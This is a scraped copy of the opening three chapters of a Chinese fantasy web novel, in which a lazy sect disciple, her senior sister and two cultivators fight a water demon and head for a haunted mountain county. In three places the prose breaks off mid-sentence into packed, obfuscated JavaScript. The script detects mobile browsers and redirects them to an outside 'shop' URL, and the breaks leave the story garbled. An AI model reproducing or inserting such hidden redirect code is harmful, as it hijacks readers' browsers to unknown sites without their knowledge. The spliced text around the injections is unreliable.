《一朝失算》 1. 第 1 章 水妖 虽是下午,青湖边这一圈依旧被诡白的水汽团团围住,绿波荡漾的湖嵌在连绵起伏的山里,犹如一块镶银的翡翠。 两个身影沿湖边徐徐前行,一白一黑。 黑衣女子一身利落劲装,气度不凡,在她腰间系着的一柄剑,同样黑漆漆的,但看起来却普通无比。 白衣女子亲昵地挽住黑衣女子,眸子瞪得大大的,指着周围造型千奇百怪的柳树,俏丽的面上带着惊奇。 “酒姐姐,你头发沾了一片柳叶,我帮你摘下来可好?”白衣女子眼珠一转,装作不经意瞥到,拽了拽她的衣角。 黑衣女子笑着颔首,停下了脚步:“好。” 白衣女子轻轻绕到她身后,伸出纤细白嫩的手指,摘下了那片叶子。 盯着黑衣女子毫无防备的背后,下一秒,白衣女子眼神骤然发狠,一把将她推入湖中。 “送衣——”惊呼声戛然而止,黑衣女子一下子落了水。 与她一齐落水的,还有不同于二人的另一道漆黑身影。 平静的湖面霎时浮现出一个巨大的漩涡,其中伸出一双惨白的手,以迅雷不及掩耳之势将她拉进了湖水深处,仿佛早已等候多时。 那个叫送衣的白衣女子,悬在半空的指尖骤然垂落,她的身体开始急速萎缩,绸缎广袖如断翅的蝶,扑簌簌坠向地面,最终"噗"的一声,整个身体如同被抽走魂魄的皮影,瘫成一张皱巴巴的人皮。 刚才还好好的天,转瞬沉了下来,芦苇狠狠弯下腰,柳枝垂着一络络绿辫狂甩。 湖面因漩涡荡起的波渐趋平静,柳叶被风吹下梢,旋转,翻飞,最终轻轻坠入这锅柳絮汤里,在水面漾开一圈圈细碎的涟漪。 不远处,目睹了全过程的纪泱泱捋了下裙子,毫无形象地蹲下伸直手臂,还不忘顺手拔根狗尾巴草叼在嘴里。 天知道,她只想躺在剑霜山混吃等死一辈子,但那掌门臭老头儿,以自己年纪大了为借口,给她扔了柄长锈的破剑和一把符纸就将她踢出剑霜山历练,说什么在舒适圈里待得太久,总是一副游手好闲、吊儿郎当的模样,也该出去见见世面—— “你那个叫酒当歌的师姐早就出去历练了,实在不行,就去找她。” 纪泱泱才不会真的顺着师父的嘱咐去独自历练,一下山,她就开始到处打听师姐的下落。 所以,她在来这儿的路上就听说了:尸廆山脚下金丝县的县令最先失踪,接着,看管此山的石头门派去的道士也接二连三被掳走,门主没有办法,下了招赏榜,邀请各大门派的道士前来捉妖。 她知道那师姐仗义洒脱,一定会路见不平拔剑相助,于是一路打听着跟过来,然后就在青湖边看见她被人推下了湖。 乌云聚集的速度让人咂舌,“轰隆——”一声,豆大的雨点落下,一滴,两滴……砸在纪泱泱身上,生疼。 纪泱泱望着酒当歌坠进去的地方等了半天,确定她在湖里呆了这么长时间,一定是死了,叹着气正要离开去寻地方避雨,水面上巨大的漩涡却突然再次出现,其中亮起一道黄符,光芒四射中,两个缠斗的身影缓缓浮出水面。 纪泱泱顿住身子,眯起眼。 水妖两只手呈爪状,不断冒出黑气,化作凝实的箭,朝酒当歌射去。 酒当歌立在水上,单手执剑撩起水花,化作冰盾,另一只手夹着符纸,向水妖挥去。 一人一妖打得难分难解,一旁的纪泱泱就遭了殃—— 黑箭撞上了冰,冲四面八方弹去,有一道正好落在纪泱泱脚下,她忍不住惊呼出声,嘴里的狗尾巴草掉落在地。 “那边的人小心!躲到树后去!”酒当歌眼角突然瞥见湖边立着一个人,来不及细看,抽出攻击的间隙,侧头大喊。 就在她分神的这一瞬,肩膀重重地挨了水妖一下,她的口中猛地喷出鲜血,当即不敢大意,拼命支撑住身体,再次挥剑。 天轰隆隆地震,雨哗啦啦地砸。溅起的泥点落在纪泱泱白色的裙子上,很快,她淋成了落汤鸡,风吹过,她不由得打了个寒噤。 纪泱泱站在树后皱着眉拧衫裙上的水。 她讨厌裙子的这种垂坠感,冷冷的,湿湿的,像被几只鬼抱住,慢慢沉进沼泽里一般。 她从树后探出头,目光紧紧盯着湖中的那两抹身影。 怎么办?既然师姐没死,那总归是要去帮忙的。 况且,虽说酒当歌有一定的本事傍身,但在湖中,水妖占据了天然优势,更别说她的肩上还受了伤,再这样打下去,酒当歌恐怕就要支撑不住了。 万一她落了个终身残疾,或是更糟点儿死了,剑霜山没了接管人,臭老头儿不得哭晕过去? 纪泱泱抹了把脸,将双手的雨水在裙子上擦掉后,下定决心似的探向腰间的芥子袋。 芥子袋,可纳万物,师父特意为她准备的,里面装满了杂七杂八,那把破剑也被她搁在里头。 但,没了——纪泱泱心一惊,摸遍全身也没找到。 不过,她却是一点儿也不担心里面的东西会被偷,因为这个芥子袋认主,除了她,没人打得开,就算不小心丢了,也会在三日内回来。 思及此,纪泱泱反而松了口气:出山时,为了以防万一,她特意从厚厚的一沓符纸中抽了几张,贴身存放。 这不,现在就派上了用场——纪泱泱捻出一张通体赤红的符纸,夹在两指间,瞅准两人打斗之的间隙就朝水妖扔了过去。 她在心里默默祈祷:一定要中,一定要中……哪怕只是稍微转移一下水妖的注意力也好。 符纸在空中划出一道绚丽的线,尾巴似乎还带着点儿火星,直直地冲水妖而去。 酒当歌也被吸引了注意力,她朝符纸飞来的方向看去,就见白裙子的少女嬉皮笑脸地举起了手:“师姐好。” 纪泱泱的这道攻击,不痛不痒地落在水妖身上,但也正如所料地瞬间吸引了它的注意。水妖一双恐怖的绿眸大睁着,一挥手,数道妖气朝纪泱泱飞来,而它对面的酒当歌已经没有精力拦截。 眼见自己面前的树被拦腰斩断,攻击和断树就要一齐砸在身上,纪泱泱慌不择路地跳向一边,正好与赶来想要救她的蓝衣男子错开身子。 啊啊啊!她再也不敢逞英雄了!! “没事吧,这位姑娘!”见纪泱泱躲过,蓝衣男子停在半空的双手尴尬放下,不知从哪摸出把扇子,“哗啦”一声甩开,还不忘捏着扇柄转个漂亮的圈,“在下莫云欲,敢问姑娘芳名?” 什么时候了,这人还有心思耍帅。 而且那扇子画了一堆鬼画符,跟他的气质很不符,本人也像是在硬装风流。 纪泱泱心里腹诽着,指了指力竭的酒当歌。 “当歌!” 莫云欲瞬间变了脸色,收起那副悠闲的表情,朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062575|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湖中的水妖飞奔而去,衣诀翻飞。 他们认识?纪泱泱呆了一瞬。 纪泱泱刚刚那道攻击确实为酒当歌争取了不少喘息的时间。见她没事,酒当歌身形一晃,犹如利箭般飞射而出,泛着寒光的长剑直冲水妖面门刺去。 剑尖划破水妖的脸,伤口立刻结了霜,飞快地往全脸蔓延开来,它惨叫了一声,莫云欲快速跟上酒当歌的动作,从腰间摸出一张火符,捏在两指间,飞快地念动口诀。 接着,他手腕一翻,将那火符往水妖身上拍去。 火符虽与纪泱泱刚刚摸出来的一模一样,但效果却大相径庭——红色的符逆着风,蛇一般窜到水妖身上,“呼啦”一声开始燃烧,火舌飞快舔舐上它的躯体。 “啊啊啊啊啊!”水妖指缝下惨白的五官瞬间扭曲,黑色的妖气不断从身上泄出,旋即剧烈燃烧,它猛地后仰,朝湖里栽去,妄图扑灭身上的熊熊烈火。 然而,没有用,那火像是不怕水般,依然疯狂燃烧着,即使在水里依旧火光冲天。 见水妖没了动静,酒当歌撕下手臂上的御风符,收了剑,才终于舍得松出一口气。她浑身是伤,半个身子都浸在水里,朝莫云欲伸出一只手。 莫云欲站在酒当歌身前,再度摇着扇子,笑得灿烂:“求我,求我就拉你一把。” 他以为酒当歌会像往常一样怒骂他“没有心”,然后形象全无地爬上来揍他。 谁知酒当歌瘪了瘪嘴,眼里泛起泪花,可怜巴巴地望着他:“求你……” 难道这次她伤得很重? 莫云欲眉眼低垂,目光聚焦在酒当歌的肩膀,那里被水妖尖利的指甲捅伤,还在往外不住地冒着血。 “都叫你不要单独行动了,”莫云欲的心脏也跟着疼了起来,他收起扇子朝酒当歌伸出一只手,叹了口气,“真是拿你没办法。” 握住她手掌的瞬间,莫云欲猝不及防地瞪大眼。 “扑通——”重物落水后发出一声闷响,水花溅得足足有三尺高——酒当歌站起来后,反脚将莫云欲踹进了湖里,顺便不屑地撇去眼角的泪,面上哪里还有半分可怜。 湖里的莫云欲探出头,抹了把脸上的水,望着岸边得意叉腰的那抹黑影,咬牙微笑:可恶,又被诈了。 现在轮到酒当歌居高临下地俯视莫云欲,笑得灿烂:“求我,求我就拉你一把。” 纪泱泱在一边蹲下,拔了根狗尾巴草叼着,手掌并拢举在头顶挡雨,斜睨着他俩——这儿还有人在呢。 况且,现在也不是打闹的时候—— 浑身焦黑的水妖不知何时爬了上来,喉咙发出低沉的吼声,手中悄悄聚起一道恐怖的妖气,朝莫云欲挥去。 纪泱泱的呼吸瞬间一紧,刚想提醒他,那道黑气已然凝成箭,朝莫云欲飞去。 “铮——” 千钧万发之际,一把白伞从三人身后飞出,正中水妖心口,那道致命的妖气也被它散发出的白色光芒轻而易举地驱散。 水妖口中发出痛苦的尖叫,身形慢慢扭曲、消散。 突然,它大睁着一双涣散的绿眸,朝纪泱泱看去。 纪泱泱眉头微皱,只觉得它莫名其妙,不甘示弱地瞪了回去。 诡异又尖利的诅咒响起,低低的,却异常清晰: “恶毒的......你会遭报应的!” “等着吧......” 2. 第 2 章 初见端倪 临近傍晚,黑云消散,落日余晖撒向青湖,大片大片的金光在浮动的水面上不断跳跃。 地面铺了层柳叶,上面的水珠经阳光反射,若金子般耀眼。 白衣少年不紧不慢地从锦袍中伸出手,玉一般的伞从水中升起,又直直地飞回到他的手里。 即使天放了晴,他依旧优雅地撑开伞:“三位同道,没事吧?” 温和的声音从身后响起,纪泱泱警惕转身,与酒当歌二人一同看去。 少年乌黑的长发用白玉冠高高束起,鬓角发丝上梳,额间还有几缕碎发自然垂下,他的脸部线条极美,皮肤白皙,嘴角还噙着一抹笑。 温润如玉,若是纪泱泱没看到他眸子中一闪而过又被巧妙掩饰的淡淡杀气,一定会这样形容。 三人一同朝他抱拳,莫云欲率先开了口,话里带着几分行走江湖惯有的客套:“多谢同道相救,在下莫云欲,这位是酒当歌,敢问同道姓名?” 少年笑容不变:“在下白墨轩,举手之劳,不必放在心上。” 三人像老熟人一样聊开了天,一旁的纪泱泱却不屑地撇了撇嘴。 眼前这个自称白墨轩的少年,就那么正正好地化解了水妖的那道致命攻击?她向来以最大的恶意揣测别人,可不相信天下会有这么巧的事。 况且,除了青湖这一片,周围可没有妖雨,白墨轩虽然打着伞,头发还是沾到了水,想必一定是暗中观察了许久。 而那水妖早不杀晚不杀,他却非要挑莫云欲危急存亡之际,生死攸关之时,一定是想让莫云欲对自己感恩戴德,纪泱泱最看不惯的就是这种人,虚伪! “白同道,和这位……”莫云欲终于舍得将目光从酒当歌身上移向一旁的纪泱泱。 “哦,我叫纪泱泱。” “纪同道,相逢即是缘,现在天色已晚,不如先去我们借宿的地方凑合一晚,明天再分开吧。”莫云欲向二人发出邀请。 白墨轩面上还是温和的笑:“好。” 一旁的纪泱泱在心里翻了个白眼。 装,接着装。 “我就先行一步了。”一旁一言不发的酒当歌苍白着唇,捂住不停渗血的右肩,只觉得天地一瞬间失了色,她再也坚持不住,抬脚踉踉跄跄地往前走。 要赶紧去处理一下伤口,这是她脑海里唯一的念头。 “村前有一棵大榕树的人家,就是我们暂时的住处。”莫云欲飞快地为纪泱泱二人指了指方向,旋即走在酒当歌身旁,趁她无力驱赶自己,便张开手臂虚环住她,老鸟护小鸟一般。 纪泱泱正想跟上,白墨轩却不紧不慢地叫住了她:“纪同道,等一下。” 纪泱泱脚步一顿,疑惑转身,白墨轩乌黑的眸子扫来,嘴角噙着一抹笑:“纪同道可是有什么东西掉了?” 纪泱泱的心脏猛地一颤,心中警铃大作。 芥子袋! 难道在他那里?纪泱泱眼珠一转:“是啊,一个绿底黑纹的芥子袋,白同道可曾捡到?” “巧了,正是在下捡到的。”白墨轩的手指翻转,纪泱泱的芥子袋赫然出现在他手中,变戏法一样。 “这是师父给我的宝物,珍贵无比……”纪泱泱捏着衣角,慢慢靠近白墨轩,还不忘逼出点儿眼泪,“幸好被白同道捡到……多谢了。” 她趁机伸出双手讨要。 白墨轩捏着那绿袋,轻轻放在纪泱泱手上,但并未松开,而是隔着袋子握住她的手,俊脸慢慢凑近,柔意轻泛,却隐着无限阴狠和寒意。 白伞将纪泱泱一并笼罩,挡住了洒下来的夕阳,白墨轩整张脸浸在阴影里,唇边漾起一抹浅笑:“芥子袋这么重要的东西,可得保管好了。” 纪泱泱看着那双乌黑的眸,清晰地映着两个小小的自己,只觉得一股寒气从心底漫上来。 刚刚还在师姐和莫同道面前表现得光明磊落,转头来就对她这样,意欲何为? “纪同道,怎么不说话了?”白墨轩嘴角噙着的笑变得玩味起来。 谁知纪泱泱直接翻了个白眼,从他手里猛地拽下芥子袋,退开一步,手臂使劲伸直,拈到离自己最远的地方狠狠拍打着,连嘴角都在用力——像是上面沾染了什么晦气东西一样。 白墨轩唇边的笑意更甚。 下一秒,他的笑僵在了脸上。 “平阳江、大泗水、小金江三条河汇入青湖,那水妖并不是什么统称,而是大泗水里的妖,”纪泱泱拍完芥子袋,斜睨着白墨轩,“按道理讲,习惯生活在流动江河里的水妖怎么会愿意去那一个小破湖?除非有人故意将其往那儿驱赶……” 纪泱泱将芥子袋小心地别在腰间,抬眼直勾勾地盯着白墨轩:“我来青湖前就打听过了,三天前,有道士从大泗水来,还好心地提醒平阳江和小金江附近的百姓提防水妖,于是那两个地方提早做了防御准备,水妖没法,只能去往唯一的水源——青湖。” “你干的?”纪泱泱唇边绽开了一个笑,眉目间全是对自己推理的得意,“没想到吧,那水妖太弱了,连妖丹都没有。” 天下的妖分为低等和高等。低等的妖攻击手段单一,靠符纸辅助就能消灭,而高等的妖能够孕育出妖丹,只有击碎妖丹才能将其彻底击杀。 说到这,纪泱泱突然有些疑惑:他是冲着谁来的? 师姐和莫云欲明显不认识白墨轩。 自然更不可能是自己,因为她也没见过白墨轩。而且自己一般不出剑霜山,除非臭老头儿强硬地把她拎出去。况且,以臭老头儿那闲云野鹤的性子,也决不会让她与旁人结仇。 “我干的?有什么证据么……”白墨轩眉头轻抬,笑容变得无辜起来,“纪同道,污蔑人也是要讲道理的。” 她哪来的勇气,敢当面戳穿他?白墨轩的面上顷刻间笼罩了一片暗色。连躲藏水妖的攻击都挑最粗的树,这么怕死,就不怕他在这儿杀了她么? 实际上,纪泱泱确实有点儿害怕,但一看到他脸上那副假笑面具,就打心底觉着讨厌,甚至萌生出一种给他撕下来的冲动。 纪泱泱的眉毛不高兴地向上挑起,没由得来了一句:“我倒是觉得白同道你,笑起来好假。”像是故意气他般,纪泱泱重新拾起一个大大的笑容。 白墨轩一愣,微微垂眸,不知在想些什么。 面前少女的眼睛亮亮的,轻而易举就让人想到打磨抛光后的黑玛瑙,亦或是黑甲虫反光的翅膀。 “算了。”他轻轻吐出一口浊气,转身跟上莫云欲二人离去的背影,轻飘飘的白衣在空中划出一道好看的弧度。 纪泱泱在原地睨着他,冷哼一声。 没有证据是吧?人在桥上走,哪有不湿鞋!最好一辈子别让她找到。 ...... 一天终于接近尾声,四人在老媪家歇下。 纪泱泱坐在桌前,只露出亮亮的眼睛,捧着一碗汤喝得有滋有味。 他们在讨论行程。 “那只妖披了张人皮,从大泗水一路逃到青湖,没想到它竟还有余力。”酒当歌半天才用左手夹起一粒炒花生,急吼吼地扔进嘴里,生怕下一秒花生就从两筷间飞出。 “还要多亏白道友啊!”莫云欲摇着扇子,向白墨轩那边挑眉,“要不是他,那水妖不知要逃到何处去。” 纪泱泱也跟着朝白墨轩看去。 他歪斜着靠在墙角,嘴唇微翘,漫不经心地盯着杯里漂浮的茶叶,直到听到关于自己的字眼,才懒懒抬眼:“幸好鄙人的两位好友恰在大泗水游玩,才得以提醒百姓们做好防御措施,以免水妖祸害更多生灵。” 瞧瞧,多么真诚的一番话,纪泱泱拿起碗扒了口饭,挡住脸朝碗底翻了个白眼。 “我和当歌一起从北域的御符宗和剑霜山来,正要去尸廆山,不知白同道接下来要去哪里呢?”莫云欲放下扇子,搁在桌上的米碗旁。 “谁跟你一起?”酒当歌眉头一皱,狠狠白了他一眼,同时手探向桌下,狠狠拧了一下莫云欲的大腿。 “嘶,疼!疼!”莫云欲嘴上说着疼,眼睛却悄悄往酒当歌肩上瞟。 他心下突然起疑:那水妖尚未结成妖丹,哪来的本事弄伤当歌? “我此番也是前去尸廆山,如此就要与三位同道分得一杯羹了。”白墨轩轻拢衣袖,嘴唇凑近茶杯,不紧不慢地吹着。 “有幸,有幸,不如我们一起?”酒当歌大方的邀请他。 对,就是这样,最好别提到自己。纪泱泱往椅子后缩了缩,努力降低自己的存在感。 然而却总是事与愿违——“当然,那么纪同道呢?” 纪泱泱吃得正香,突然被叫到名字,她移开碗,茫然地看向白墨轩:“什么?”突然问她干嘛? “纪同道接下来要去哪里呢?”白墨轩看着她嘴角的米粒,黑眸划过一丝嫌弃。 “我啊?当然要跟着师姐去尸廆山了。”纪泱泱朝酒当歌扬了扬下巴。废话,她啥也不想干,只想混吃等死,当然要紧紧抱住师姐的大腿了。 …… 一顿饭的时间,四人解决了行程问题,各回各屋歇憩。 纪泱泱躺在床上,翻来覆去睡不着,干脆起身清点芥子袋里的东西。 自下山后,她还没仔细看过里面呢。 袋里亮堂堂的,很大一片空间,最左边立着四个梨木雕花衣柜,里面的衣服从春夏到秋冬各式各样、应有尽有,甚至多得快要从柜缝里挤出来。 旁边是两个摆满了瓶瓶罐罐的大药柜,抽屉里还放着名贵的药材,都拿金丝绸包了起来。 除了这几个大的物件,周围还有药鼎、胭脂、瓷器、文具、琴、纸鸢、匕首…… 臭老头儿是把剑霜山搬进去了么,目光继两袋面粉后又扫到一排装满土的空盆栽,纪泱泱不得不开始怀疑。 不过,想到那两个药柜,纪泱泱眼前突然浮现师姐肩膀上那个狰狞的洞。 她一个翻身下了床。 月光斜愣愣地洒下,被树分成两半,一半投在屋檐,一半落在隔扇门。“吱呀”一声,纪泱泱旋开门,冷风瞬间灌进衣服里,她忍不住搓了搓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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纪泱泱的眼睛瞪圆,都快要黏在那把刀了,心里暗暗震惊:师姐难道打算用清水消毒么? “那盆水里混了药。”似是知道她在想什么,酒当歌解释道。 她大大方方地将松垮的里衣扯下来,小心翼翼揭下纱布时,不免连带着扯下一层黑色碎肉:“我正准备处理伤口呢。” 酒当歌的右肩被水妖尖利的指甲斜着捅了个对穿,幸运的是恰好避开了骨头,但正面伤口的面积是后背的两倍,而且严重发黑。 她只剩一件黑色肚兜,拿出水里的刀,开始把伤口处溃烂的黑肉刮下,还不忘打量着纪泱泱的神色。 明明只有十几岁,脸上却没有半点儿害怕和恶心,反而满脸严肃地开始从芥子袋里掏药材,动作飞快。 是的,那芥子袋就是她受师父疼爱的证明。 她的这个小师妹,作为真传弟子跟师父一起住在主山头,虽没怎么见面,但也偶尔撞见过师弟师妹们讨论她——什么养尊处优,娇生惯养,不谙世事,甚至还有她“病弱不能出门”,“快死了”这种流言。 种种这般,全因纪泱泱虽为亲传弟子,师父却将下一代掌门人的位子给了自己。 思及此,她有点儿心虚,好似那位子是自己偷来的。 “你这样处理伤口是不行的,会感染。”纪泱泱出声,打断了酒当歌的神游,她这才发现自己手里的刀不知何时被纪泱泱拿走,放回了盆里。 纪泱泱倒出一颗白色药丸,碾碎后均匀撒在了酒当歌的肩膀,那两处伤口瞬间没了知觉。 酒当歌无事可做,便开始细细打量面前的少女:窄袖白纱裙,杏眸,新月眉;不是很矮,但也仅到自己的眉眼处;看似很瘦,却也相当健康。不过,与别的女子不同的是,她那头黑亮的长发仅用一根白发带扎在后背。 纪泱泱最讨厌那些繁琐的发髻——扎高了扯头皮;团成一团在背后,走起路来像打鼓,疼;她也不是没想过剪成短发,可是经风一吹,就会糊得满脸都是。 她又拿出一个黑胖虫子似的药材,放在药钵里细细研磨,待磨好后,将粉末少量多次地撒在伤口上,最后,纪泱泱用纱布将酒当歌的肩膀包扎了起来,一气呵成。 看着那个漂亮的蝴蝶结,纪泱泱满意点头,接着留出三个小瓶:“袚除丸,去除妖气的;生长丸,加速愈合的;去疤膏,不留疤痕的,牢记每日一敷。” 这些都是臭老头儿顶好的药,若是放任酒当歌用自己的药,怕是这辈子都好不了了。 “那个,谢谢。”酒当歌望着桌上的三瓶药,不好意思地挠起头来。 前几日,她突然收到了师父的信,整整五页纸,一贯地被密密麻麻塞满了字。她还好奇,怎么比平时多了三页,打开一看才知道:两页是自己的,剩下的三页全是交代自己该如何照顾好小师妹。 现在,倒是她这个师姐被自己的小师妹照顾了,惭愧,实在是惭愧。 “一家人不说两家话。”纪泱泱脸上的笑容被蜡烛映亮,火光跳动在她的眼中,像把月亮打碎丢了进去似的。 纪泱泱转了转眼珠,忽而神秘地凑到酒当歌面前,压低了声音:“师姐,你跟那个莫云欲……”她欲言又止,但其中的意思却不言而喻。 “嘁,他?算是我的竹马,从小一块儿长大罢了,”酒当歌仔细地穿好衣服,英气的眉眼因笑容变得柔和,“这么多年,老是跟我对着干,偏偏又像狗皮膏药一样,甩都甩不掉……” 3. 第 3 章 金丝县 白墨轩觉得自己快要疯了。 左耳是隔壁两人叽叽喳喳但听不清楚的噪音,右耳是莫云欲不间停的踱步声,甚至这些声音里,还混杂着窗外的蟋蟀搓翅和树叶的挲挲声。 他的房间里一只蜡烛也不点,昏暗暗的,给人一种睡了的假象。 屋里最中间的桌上是一壶早已凉透的茶水,白墨轩托起白玉壶底,缓缓倾泻,一根墨绿茶梗便随着水柱流进配套的茶杯里,上下飘晃着。他就这么借着窗棂筛下的月光,心不在焉地盯着那根茶梗。 “但我倒是觉得白同道你,笑起来好假。”不知怎么,他的脑海中忽而浮现今日傍晚青湖边纪泱泱唇角那抹鲜明的笑。 他想着,脑中的场景俨然换了一副:六岁大的小男孩,一身锦衣玉袍,仰起头,两只乌黑发亮的眼死死瞪着面前的男人,嘴角却弯起一抹弧度。 “你笑起来这么假,还怎么把人套进温柔刀里?”男人一袭白衣,手里有一下没一下地摇着扇子,嘴角绽开的,是与面前男孩一模一样,但又迥然不同的微笑。 “光是嘴角向上,笑容却不及眼底,僵尸一样硬。”男人一下子冷了脸,手中纸扇“啪”的一声合上,在他白净的脸上狠狠留下一道血痕。 “来,”男人将他引至一面铜镜前,重新挥开扇子,“就在这儿练,练到让我觉得是自你内心发出的一样,不然,你就守着这面镜子,守到死。”说完,便扔下男孩,径自离去。 半人大的铜镜,被落地镜台支起,镜面一丝杂质不掺,由双龙纹葵边包裹,其中还嵌有绚丽的螺钿碎,漆层叠染九重方得那抹霞光之色。 白墨轩突然觉得心里有些烦躁,倒不是因为想起了令自己讨厌的人,而是他对着镜子练到最后,几乎都要察觉不到面上皮肉的存在,才终于将这笑,画一般地刻在了脸上。 这么多年过去,他自认为毫无破绽,可现在,却被纪泱泱贬得一文不值。 思及此,连他自己都快要分不清,到底是纪泱泱太过敏锐,还是自己笑起来真的很假。 …… 晨曦初露,纪泱泱走出门时,酒当歌正往老媪手里塞着银子。 “不收,不收,这多不好意思!”老媪摇着头,满是皱纹的手不停地推托。 “大娘,我们四个叨扰了您一晚,怎能就这样离去!” “没事,没事!你们为我们这些老百姓解决了水妖,这一晚的饭宿全免,就当我代表百姓们谢谢你们了!” “消灭水妖乃举手之劳,是任何道士都会做的事!” “不行,我不能收!”老媪眉一横,眼一瞪,似是脾气上来了。 酒当歌学着她的模样,也是眉一横,眼一瞪:“不行,您必须收!” 太阳从云层里露出头,白墨轩撑着伞,整个人被遮得严严实实,莫云欲也找了棵树,站在底下,悠哉地扇着风。 纪泱泱见莫云欲旁边已没有余荫,只得背对太阳原地蹲下,看着酒当歌,满脸愁容地托起小脸:这俩人到底还要互相推辞多久? 酒当歌还想劝几句,老媪却突然拉住了她的手:“这一半银子呢,我收下,你们就当买我一个忠告,”她将其中的一半银子塞进衣服,头一压低,神秘兮兮地招呼四人,“尸廆山的尸,不是人类的尸。” 什么叫不是人类的尸? 纪泱泱一直思索着这句话的意思,直到三天后,他们踏进尸廆山脚下的金丝县,也没想明白。 金丝县里的金丝长街不愧叫金丝长街,日昳之时,阳光斜着洒满街道,就像铺了一层金丝一般耀眼。 酒楼旗子上的符字在热风里猎猎作响,灰石道上马车的铜铃声清脆悦耳,飞驰过时,惊起几只檐下燕,扑棱棱掠过写满诗词的油纸伞,将糖炒栗子的焦香送进四人鼻间。 奇怪的是,沿街几乎没有摊贩叫卖,大部分的店铺也窗门紧闭,路上密集的人群嬉嬉闹闹全都朝着一个方向走,鲜少有回来的人,也一脸餍足地摸着圆滚滚的肚皮。 酒当歌拦住一个喝得醉醺醺的男人,礼貌抱拳:“大哥,听闻最近县上经常有人失踪,今日为何如此人声鼎沸,喜气洋洋,反倒不见一丝惶恐?” 醉汉眯起眼睛,一一扫过四人:“你们不知道么?”他突然压低声音,示意四人凑近,神秘兮兮道,“咱们县里有妖!” 四人互相交换了一个眼神,但并未开口,继续等着他说下去。 醉汉似乎是觉得眼前几人被他这一句话给吓住了,突然咧嘴笑道:“但是不用担心,听说有两位实力强大的道士会来咱们县,其中一人呐,仅凭一个法器就能劈开一座山!” 他摸了摸肚子,继续道:“近日恰逢衙门开设朝贺宴,大伙儿憋了许久,都出来寻乐子哩!”话音未落,远处忽然传来轰隆一声,爆竹与烟花一同炸响,将人群的吵闹声掩盖。 “你们不是这里的吧?”醉汉不得不扯着嗓子高声喊,“这朝贺宴昨日刚开,还有四天,你们一定要去好好玩耍一下才行!”他满脸热情地邀请四人。 “一定,一定,多谢大哥!”酒当歌率先抱拳,三人纷纷跟着道谢。 醉汉摆了摆手:“没事!”接着又一摇一晃地走了。 见他走远,酒当歌当即提议:“我们先不去拜访石头门,在金丝县调查一下再……” “我赞成!但是四个人一起太没效率,两两一组刚好,我要跟当歌一起!”话音未落,不等酒当歌拒绝,莫云欲扯着她的袖子就顺着人群走。 最后一句才是关键吧?纪泱泱撇嘴。 “撒开!你要把我的衣服扯烂了!”酒当歌恼怒地想要扯回袖子,无果后,还不忘回头交代纪泱泱和白墨轩:“太阳西沉时回此地集合!”说完就留下两人在原地大眼瞪小眼。 白墨轩最先移开眼,望着酒当歌两人的背影,笑容一秒消失,仿佛从嘴角开始结霜般瞬间冻住了整张脸——反正假笑都被纪泱泱戳破了,他索性也懒得再装。 一旁的纪泱泱才懒得管这些,她又热又晒,正用手扇着风,眼馋地盯着白墨轩手里的伞:“白同道,你这伞借我打打呗!” 白墨轩充耳不闻,目光锁定远处一个坐满人的茶楼,抬步就走。 纪泱泱怕踩到白墨轩的脚后跟,于是低着头,在他身后亦步亦趋,企图蹭得一点儿阴凉,嘴里不停嘟囔着:“别那么小气嘛!反正你都要撑,也不差我一个人,况且我身子小,你的伞大……”她充分发挥着自己厚脸皮的特质,“实在不行,我帮你举着嘛!” “你看这太阳这么毒,再晒一会儿我这娇嫩的皮肤就要脱皮了,你忍心见到一个貌美娇弱的女子被晒成干尸么……” 娇弱?这点他不置可否,但是貌美,呵,未免太过自信。 这么想着,他故意将伞往前挪,停在堪堪能遮住自己的地方。 光线像是透过阳燧般聚在纪泱泱颈后,烤得她生疼,她嗓子都要冒烟了还是劝说无果,终于恼了:“同道?白同道?白墨轩!好嘛,不给撑就不给撑,谁稀罕你那破伞——”蓦地,白墨轩停下了脚步,纪泱泱猛地撞上他的背。 “疼!”纪泱泱捂着被撞疼的鼻子,站住身子。 待那一瞬的酸劲儿过去后,她小心地揉着,怒瞪向白墨轩:“你干嘛突然停下?” 白墨轩转身,认真地望进纪泱泱那双水眸里:“这把伞,叫白玉骨伞。” 什么?她问过这个吗?莫名其妙的。 纪泱泱腹诽着,刚要翻白眼,却突然发现白玉骨伞正稳稳罩在自己头顶,脸上顿时乐开了花:“白玉骨伞是吧?好听!嘿嘿,谁说这伞破啦?我就觉得它美极了,瞧瞧那伞骨,都是玉做的……” 此女真是好不要脸!白墨轩惊讶于纪泱泱变脸速度之快,嘴角突然勾起。他手肘一弯,又将伞移回了自己头顶:“是啊,这伞确实珍贵得很,”白墨轩脸上的表情由赞同转为惋惜,“可是挡在纪同道头上,未免有些暴殄天物了吧?” 他转身就走,丝毫不给纪泱泱反驳的机会,顺便还扔下一句:“多晒晒太阳,还能再长高些。” ?! 纪泱泱气得直吸凉气,抬脚跟在他身后,脚步重重地落下,眼睛狠狠瞪着白墨轩挺括的背影,心里怒骂:神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062577|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经病!小气鬼!臭不要脸!猪狗不如……!!! 终于,两人一前一后地走进茶楼。 